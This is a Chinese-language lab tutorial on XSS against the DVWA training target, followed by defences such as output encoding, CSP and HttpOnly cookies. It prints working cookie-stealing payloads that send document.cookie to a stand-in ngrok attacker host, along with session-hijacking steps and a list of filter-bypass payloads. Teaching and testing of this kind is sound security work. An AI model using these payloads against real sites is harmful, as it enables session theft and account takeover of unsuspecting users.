XSS攻击实战:从反射型到DOM型,手把手复现Cookie窃取与会话劫持
1. 项目概述:为什么XSS依然是Web安全的“头号公敌”?
干了这么多年安全测试和渗透,我始终觉得,跨站脚本攻击(XSS)是Web安全领域最“经典”也最容易被低估的漏洞。很多刚入门的朋友,一提到XSS,脑子里可能就剩下一个“弹个窗”,觉得这玩意儿没啥危害,顶多算个恶作剧。但实际情况是,一个看似无害的弹窗背后,往往隐藏着一条完整的攻击链,从简单的页面篡改,到悄无声息地偷走你的登录凭证(Cookie),再到以你的身份执行任意操作,危害等级天差地别。今天,我就以一个老鸟的视角,带大家亲手复现三种最具代表性的XSS攻击场景:反射型、存储型和DOM型。我们不只满足于“弹个窗”,而是要一步步深入,看看攻击者是如何利用这些漏洞,把“弹窗”变成“后门”,最终实现Cookie窃取和会话劫持的。无论你是想入门Web安全的学生、需要提升防御意识的开发者,还是对渗透测试感兴趣的安全爱好者,这篇手把手的实战指南都能让你对XSS有一个透彻的理解。
2. 环境准备与靶场搭建:打造你的专属“攻防实验室”
动手之前,得先把“战场”准备好。直接在现网系统上测试漏洞是绝对违法的,我们必须在一个完全受控的本地环境里进行。这里我推荐两个非常适合新手的靶场:一个是经典的DVWA,另一个是专门为Web漏洞设计的Pikachu。它们都集成了多种漏洞场景,并且可以自由调节安全等级,非常适合学习和复现。
2.1 靶场选择与部署
DVWA功能全面,但配置稍微繁琐一点,需要本地有PHP和MySQL环境。如果你图省事,可以直接用XAMPP或PHPStudy这类集成环境一键安装。部署好后,访问http://localhost/DVWA,默认登录账号是admin,密码是password。首次使用记得点击页面下方的Create / Reset Database按钮来初始化数据库。
注意:务必在虚拟机或纯本地环境搭建靶场,切勿部署在公网可访问的服务器上,即使设置了密码也有被扫描攻击的风险。我的习惯是在VirtualBox里装一个纯净的Linux或Windows虚拟机来做所有测试,测试完直接恢复快照,干净又安全。
Pikachu靶场对新手更友好,解压后放到Web服务器目录下就能直接运行,很多漏洞点都有直观的提示。我们今天演示的三种场景,在这两个靶场里都能找到对应的模块。
2.2 核心工具:浏览器的开发者工具
别小看浏览器自带的开发者工具(按F12打开),它是我们分析XSS的“显微镜”。主要用到两个面板:
- Console(控制台):当我们的XSS载荷执行时,任何通过
console.log()输出的信息,或者JavaScript报错,都会在这里显示。这是调试Payload的利器。 - Network(网络):当Payload尝试向攻击者的服务器发送窃取到的数据(如Cookie)时,所有的HTTP请求都会在这个面板留下记录。我们可以清晰地看到数据是否成功外传,以及是以什么方式传出的。
2.3 攻击者服务器模拟
为了真实复现“Cookie窃取”场景,我们需要模拟一个攻击者用来接收数据的服务器。最简单的方法是使用ngrok或localtunnel这样的内网穿透工具,将本地一个端口临时暴露到公网,获得一个临时的HTTPS域名。然后在本机用Python快速启一个HTTP服务来接收数据。
# 首先,安装ngrok(需注册账号获取authtoken) # 然后启动一个本地服务,比如在3000端口 python3 -m http.server 3000 # 在另一个终端,使用ngrok将3000端口暴露到公网 ngrok http 3000执行后,ngrok会给你一个类似https://abc123.ngrok.io的随机域名。任何发送到这个域名的请求,都会被转发到你本机的3000端口。这样,我们就有了一个“攻击者服务器”来接收被盗的Cookie。
3. 反射型XSS实战:一次点击带来的陷阱
反射型XSS也叫非持久型XSS,是最常见的一种。它的特点是恶意脚本“镶嵌”在URL里,只有当用户点击了这个精心构造的链接时,攻击才会发生。常见于搜索框、错误信息页面等将用户输入直接回显的地方。
3.1 漏洞原理与注入点寻找
它的攻击流程可以概括为:攻击者构造含恶意代码的URL -> 诱骗用户点击 -> 用户浏览器访问该URL -> 服务器将恶意代码作为响应的一部分返回 -> 用户浏览器执行该恶意代码。
在DVWA中,将安全级别设为Low,然后进入Reflected XSS模块。你会看到一个简单的输入框。尝试输入test提交,观察URL和页面变化。你会发现,你输入的内容test被原封不动地显示在了页面上。这里就是潜在的注入点。
3.2 构造与测试基础Payload
我们的目标是让页面执行JavaScript。最基础的测试Payload是:
<script>alert('XSS')</script>将其输入并提交,如果成功,你会看到一个弹窗。这个弹窗证明了该点存在XSS漏洞,且浏览器没有过滤<script>标签。
但实战中,攻击者不会只满足于弹窗。他们会尝试更隐蔽、功能更强的Payload。例如,探测更多信息:
<script>console.log(document.domain); console.log(navigator.userAgent)</script>这个脚本不会产生弹窗,但会在控制台输出当前页面的域名和用户的浏览器信息,非常隐蔽。
3.3 升级攻击:窃取用户Cookie
现在,我们来构造真正具有危害的Payload——窃取当前用户的Cookie,并发送到我们模拟的攻击者服务器。
假设我们的攻击服务器地址是https://abc123.ngrok.io。构造如下Payload:
<script> var img = new Image(); img.src = 'https://abc123.ngrok.io/steal?cookie=' + encodeURIComponent(document.cookie); </script>这段代码的原理是:创建一个隐藏的Image对象,将其src属性指向攻击者的服务器,并将document.cookie作为URL参数附加上去。浏览器在加载这个图片时,会自动发起一个GET请求到攻击者服务器,从而将Cookie偷走。由于图片加载失败是常事,这个请求非常隐蔽。
在DVWA的输入框提交这个Payload后,页面看似没什么变化。但立刻去查看我们本地运行的Python服务器日志,或者ngrok的请求面板,你应该能看到一条访问记录,里面就包含了DVWA当前的会话Cookie(如PHPSESSID=xxxxxx)。
实操心得:在实际渗透测试中,反射型XSS的利用难点在于“诱骗点击”。攻击者往往需要结合社工手段,比如将恶意链接缩短、伪装成正常链接,在钓鱼邮件或论坛中散布。对于防御方来说,任何将用户输入直接输出到页面的地方,都必须进行严格的过滤或转义。
4. 存储型XSS实战:潜伏在页面中的“永驻木马”
存储型XSS的危害性比反射型大得多,因为它具有持久性。恶意脚本被保存到服务器端(如数据库、文件系统),所有后续访问该页面的用户都会中招,无需再次诱导点击。常见于论坛评论、用户昵称、留言板等场景。
4.1 漏洞原理与持久化特性
在DVWA中,将安全级别保持为Low,进入Stored XSS模块。这里模拟了一个留言板。攻击流程是:攻击者在留言板提交含恶意脚本的留言 -> 脚本被保存至服务器数据库 -> 任何其他用户浏览该留言板页面 -> 恶意脚本从服务器加载到用户浏览器并执行。
4.2 构造持久化攻击载荷
我们首先测试基础弹窗:
<script>alert('Stored XSS!')</script>在留言框输入并提交后,刷新页面,你会发现每次加载这个页面,弹窗都会出现。这说明恶意代码已经持久化存储了。
接下来,我们构造一个更自动化的Cookie窃取Payload。为了让攻击更隐蔽,我们可以使用更简短的写法,并考虑页面可能存在的字符限制:
<script>new Image().src='//abc123.ngrok.io/c?='+document.cookie;</script>提交这段代码后,任何登录状态下访问此留言板的用户,其Cookie都会在后台悄无声息地被发送到攻击者的服务器。
4.3 高级利用:会话劫持与“水坑攻击”
攻击者拿到Cookie后能做什么?最直接的就是会话劫持。以DVWA为例,攻击者拿到你的PHPSESSID后,可以:
- 在自己的浏览器中打开开发者工具(F12)。
- 进入Application(应用)或Storage(存储)标签页,找到Cookies。
- 将目标网站(
http://localhost)的PHPSESSID值修改为窃取到的值。 - 刷新页面,攻击者就可能直接以你的身份登录系统了。
存储型XSS的可怕之处在于它构成了“水坑攻击”。攻击者无需针对特定目标,只需要将恶意代码植入一个热门站点的公共页面(如论坛热帖、文章评论区),就可以坐等大量用户“踩坑”。防御这种漏洞,要求后端对所有用户提交并即将展示的数据,进行输出编码,将<,>,&,",'等危险字符转换为HTML实体(如<转成<)。
5. DOM型XSS实战:不经过服务器的“客户端漏洞”
DOM型XSS是一种比较特殊的类型,它的恶意代码执行完全发生在客户端浏览器,不涉及与服务器的交互。漏洞源于前端JavaScript代码不安全地操作了DOM(文档对象模型),将用户可控的数据当成了可执行的代码。
5.1 漏洞原理与源代码审计
在DVWA的DOM XSS模块(Low安全级别),页面提供了一个下拉选择框。但攻击往往不局限于预设选项。我们按F12查看页面源代码,会发现一段关键的JavaScript代码:
if (document.location.href.indexOf(\"default=\") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf(\"default=\")+8); document.write(\"<option value='\" + lang + \"'>\" + decodeURI(lang) + \"</option>\"); document.write(\"<option value='' disabled='disabled'>----</option>\"); }这段代码的逻辑是:检查当前URL中是否包含default=参数。如果有,就提取=后面的值,然后通过document.write()动态写入一个<option>标签。问题就在于,它直接将URL参数lang的值,未经任何过滤就拼接进了HTML字符串中。
5.2 构造基于DOM的利用链
我们不再通过表单提交,而是直接修改浏览器地址栏的URL。假设原始URL是:
http://localhost/DVWA/vulnerabilities/xss_d/?default=English我们将其修改为:
http://localhost/DVWA/vulnerabilities/xss_d/?default=</option></select><script>alert('DOM XSS')</script>当浏览器加载这个URL时,JavaScript代码会提取default=后面的值,即</option></select><script>alert('DOM XSS')</script>,并将其拼接到document.write的字符串里。最终写入的HTML会提前闭合</option>和</select>标签,然后插入我们自己的<script>标签,导致脚本执行。
5.3 利用DOM漏洞窃取Cookie
同理,我们可以构造窃取Cookie的Payload:
http://localhost/DVWA/vulnerabilities/xss_d/?default=</option></select><script>new Image().src='https://abc123.ngrok.io/dom?c='+document.cookie;</script>访问这个链接,Cookie就会被窃取。DOM型XSS的检测和防御更困难,因为它不经过服务器,传统的WAF(Web应用防火墙)和服务器端过滤可能失效。防御的关键在于,前端JavaScript在将任何用户可控数据(如URL片段location.hash、document.referrer、表单输入值)插入到DOM中时,必须使用安全的API,比如textContent或setAttribute,而不是innerHTML、outerHTML或document.write。
排查技巧:在审计前端代码时,要重点关注这些“危险的汇点”:
innerHTML、outerHTML、document.write()、eval()、setTimeout()/setInterval()中第一个参数是字符串、location相关属性的直接拼接。凡是看到这些地方使用了来自window.location、document.referrer或用户输入的数据,就要打起十二分精神。
6. 防御策略深度剖析:从输入到输出的全方位防护
复现攻击是为了更好地防御。一个健壮的XSS防护体系应该是多层次、纵深式的。
6.1 输入验证与过滤:第一道闸门
原则:对用户输入进行严格的“白名单”验证,只接受符合预期格式的数据。
- 长度限制:对用户名、邮箱、留言内容等设置合理的长度上限。
- 格式校验:使用正则表达式严格校验数据类型,如邮箱格式、电话号码格式。
- 字符过滤:对于富文本等需要HTML的场景,使用成熟的库(如
DOMPurify、js-xss)进行过滤,只允许安全的标签和属性通过。注意:不要使用黑名单过滤!攻击者的绕过技巧层出不穷(如编码、大小写混淆、嵌套标签),黑名单永远防不住。白名单才是正道。
6.2 输出编码:最关键的安全转义
原则:根据数据最终输出的上下文,进行相应的编码。
- HTML上下文:将
<,>,&,",'分别转换为<,>,&,",'。几乎所有后端模板引擎(如Thymeleaf、React、Vue)都默认提供了HTML转义。 - JavaScript上下文:将数据放入JavaScript变量或脚本时,需进行Unicode转义或使用
JSON.stringify()。 - URL上下文:作为URL参数时,使用
encodeURIComponent()进行编码。 - CSS上下文:极少见,但也要注意,需进行特定的CSS编码。
6.3 内容安全策略:最后的浏览器防线
CSP是一个强大的浏览器安全特性,它通过HTTP头告诉浏览器,哪些外部资源(脚本、样式、图片、字体等)是允许加载和执行的。一个严格的CSP可以极大程度地缓解XSS。
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';这个策略表示:默认只允许加载同源资源;脚本只允许来自同源和https://trusted.cdn.com;完全禁止<object>等插件。即使页面被注入了恶意脚本,如果脚本来源不在白名单内,浏览器也会拒绝执行。
6.4 安全的Cookie设置
为敏感Cookie设置HttpOnly和Secure属性。
HttpOnly:禁止JavaScript通过document.cookieAPI访问此Cookie,能有效防御单纯的Cookie窃取型XSS。Secure:要求Cookie仅通过HTTPS协议传输。SameSite:设置为Strict或Lax,可以阻止跨站请求伪造攻击,对某些类型的XSS利用也有抑制作用。
7. 高级利用与绕过技巧实录
在实际的渗透测试或漏洞挖掘中,网站往往部署了基础的防护措施。这时就需要一些技巧来绕过。
7.1 常见过滤绕过手法
- 大小写绕过:如果过滤规则是大小写敏感的,可以尝试
<ScRiPt>。 - 标签属性绕过:利用其他能执行JavaScript的HTML标签或事件处理器。
<img src=x onerror=alert(1)>:图片加载失败时触发onerror事件。<svg onload=alert(1)>:SVG标签加载时触发onload事件。<body onload=alert(1)>:或利用其他标签的onmouseover,onfocus等事件。
- 编码绕过:
- HTML实体编码:
<和>被过滤时,尝试输入<script>alert(1)</script>,如果后端解码了但未二次过滤,可能成功。 - URL编码:
<script>alert(1)</script>可以编码为%3Cscript%3Ealert%281%29%3C%2Fscript%3E。 - Unicode编码:
<可以表示为\u003c。
- HTML实体编码:
- 空格和换行符绕过:某些过滤器可能对空格敏感,可以用Tab(
%09)、换行(%0a)或回车(%0d)代替。<img%0asrc=x%0aonerror=alert(1)>
7.2 利用JavaScript伪协议
在可以注入URL的地方(比如<a href=\"...\">),可以利用javascript:伪协议。
<a href=\"javascript:alert(document.cookie)\">点击领奖</a>或者作为图片地址:
<img src=\"javascript:alert(1)\"> <!-- 现代浏览器已普遍禁用 -->7.3 闭合与拼接技巧
这是DOM型XSS和某些反射型XSS的常用手法,通过闭合现有的HTML标签或JavaScript字符串,来插入新的恶意代码。
// 假设原代码是:var userInput = '[可控点]'; // 我们输入:'; alert(1); // // 最终变成:var userInput = ''; alert(1); //'; // 这样就注入了一段新的JS语句。7.4 实战中的信息收集Payload
在确认存在XSS但不确定过滤规则时,可以先使用一些无害的信息收集Payload来探测环境:
<script>alert(window.location.href); alert(document.domain);</script> <img src=x onerror=\"console.log(navigator.userAgent)\">这些Payload能帮你了解当前页面的完整URL、域名和用户浏览器信息,为构造最终的利用Payload提供依据。
防御是一个持续的过程,而攻击者的思路总是在不断进化。作为开发者,必须时刻保持安全意识,将安全编码规范融入开发流程的每一个环节;作为安全人员,则需要不断学习新的攻击手法,才能更好地进行防御和测试。理解XSS,不仅是理解几行代码,更是理解浏览器、服务器和用户三者之间复杂的信任边界是如何被打破和重建的。